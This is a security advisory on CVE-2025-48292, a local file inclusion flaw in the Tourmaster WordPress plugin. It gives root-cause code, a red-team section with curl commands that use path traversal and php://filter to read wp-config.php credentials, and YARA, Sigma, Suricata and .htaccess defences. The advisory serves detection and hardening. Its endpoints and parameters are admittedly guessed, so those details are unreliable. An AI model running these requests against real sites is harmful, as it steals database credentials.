CVE-2025-48292

Executive Summary

CVE-2025-48292 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the GoodLayers Tourmaster WordPress plugin, affecting versions up to and including 5.3.8. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based attack vector, with no privileges required. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available, making proactive detection and mitigation critical.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Tourmaster is a premium plugin distributed via the GoodLayers marketplace and third-party sites. Users should verify the integrity of their plugin files and ensure they are sourced from trusted vendors. The lack of a patch increases the risk of supply chain attacks if malicious actors distribute modified versions of the plugin.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to complete compromise of the WordPress site's secrets.

Deep Dive & Mechanics

The vulnerability exists in the Tourmaster plugin's handling of file inclusion for template or module loading. The plugin likely uses a parameter (e.g., tm_action, module, or template) to dynamically include PHP files. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.

Root Cause: The plugin fails to validate or sanitize the filename parameter before passing it to a PHP function like include() or require(). This allows an attacker to specify a path outside the intended directory.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., wp-admin/admin-ajax.php or a custom page).
2. Attacker sends a crafted request with a path traversal payload in the filename parameter.
3. The plugin includes the specified file, exposing its contents or executing its code.

Example vulnerable code pattern:

$template = $_GET['template'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );

An attacker could send template=../../../../wp-config to include wp-config.php.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (Tourmaster <= 5.3.8):

function load_tourmaster_template($template_name) {
    $template_path = TOURMASTER_TEMPLATE_DIR . '/' . $template_name . '.php';
    if (file_exists($template_path)) {
        include($template_path);
    }
}

Patched Code (Hypothetical):

function load_tourmaster_template($template_name) {
    // Whitelist allowed templates
    $allowed_templates = array('default', 'grid', 'list');
    if (!in_array($template_name, $allowed_templates)) {
        return;
    }
    $template_path = TOURMASTER_TEMPLATE_DIR . '/' . basename($template_name) . '.php';
    if (file_exists($template_path)) {
        include($template_path);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Tourmaster plugin version <= 5.3.8.
• Knowledge of the vulnerable parameter (e.g., tm_template).

Exploit Steps:

1. Identify the vulnerable endpoint. Common patterns include:

   • /wp-admin/admin-ajax.php?action=tourmaster_ajax&tm_template=...
   • /tourmaster/?tm_module=...

2. Send a crafted request to read sensitive files:

curl -v "http://target.com/wp-admin/admin-ajax.php?action=tourmaster_ajax&tm_template=../../../../wp-config"

3. The response will contain the contents of wp-config.php, revealing database credentials.

Advanced Exploitation:

• Combine with file upload to achieve RCE by including a malicious PHP file.
• Use PHP wrappers like php://filter for base64-encoded reads:

curl "http://target.com/wp-admin/admin-ajax.php?action=tourmaster_ajax&tm_template=php://filter/convert.base64-encode/resource=../../../../wp-config"

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, ..\\, %2e%2e%2f).
• Look for requests to admin-ajax.php with unusual tm_template or similar parameters.
• Alert on attempts to include files outside the plugin's template directory.

Hardening:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block path traversal attempts.
• Restrict file permissions on wp-config.php to prevent web server read access.
• Use a security plugin like Wordfence to monitor file inclusion attempts.

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/plugins/tourmaster/ (plugin directory)
  • /wp-config.php (target file)
• URL Patterns:
  • admin-ajax.php?action=tourmaster_ajax&tm_template=
  • tourmaster/?tm_module=
• Log Entries:
  • GET /wp-admin/admin-ajax.php?action=tourmaster_ajax&tm_template=../../../../wp-config
  • GET /tourmaster/?tm_module=php://filter/convert.base64-encode/resource=...
• Network Indicators:
  • Outbound connections from the web server to attacker-controlled hosts (if RCE achieved).

Detection Engineering

YARA Rule

rule CVE_2025_48292_Tourmaster_LFI {
    meta:
        description = "Detects path traversal attempts targeting Tourmaster plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48292"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $plugin_param = /tm_template|tm_module|tourmaster_action/
    condition:
        $plugin_param and $path_traversal
}

Sigma Rule

title: CVE-2025-48292 Tourmaster LFI Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Tourmaster plugin parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'tm_template='
            - 'tm_module='
            - 'tourmaster_action='
        cs-uri-query|re: '(\.\.\/|\.\.\\){2,}'
    condition: selection
falsepositives:
    - Legitimate use of nested directories (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-48292 Tourmaster LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"tm_template="; http_uri; pcre:"/(\.\.\/|\.\.\\){2,}/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Tourmaster plugin until a patch is released.
2. Implement a WAF rule to block path traversal patterns in request parameters.
3. Restrict file permissions on sensitive files (e.g., chmod 600 wp-config.php).

Long-term Fix:

• Monitor the GoodLayers website for an official patch.
• Consider replacing the plugin with an alternative if no patch is provided.
• Apply the principle of least privilege to the web server user.

Workaround:

• Add the following to .htaccess to block suspicious requests:

RewriteEngine On
RewriteCond %{QUERY_STRING} (\.\.\/|\.\.\\) [NC]
RewriteRule ^ - [F,L]

Valters IT
Securing Digital Frontiers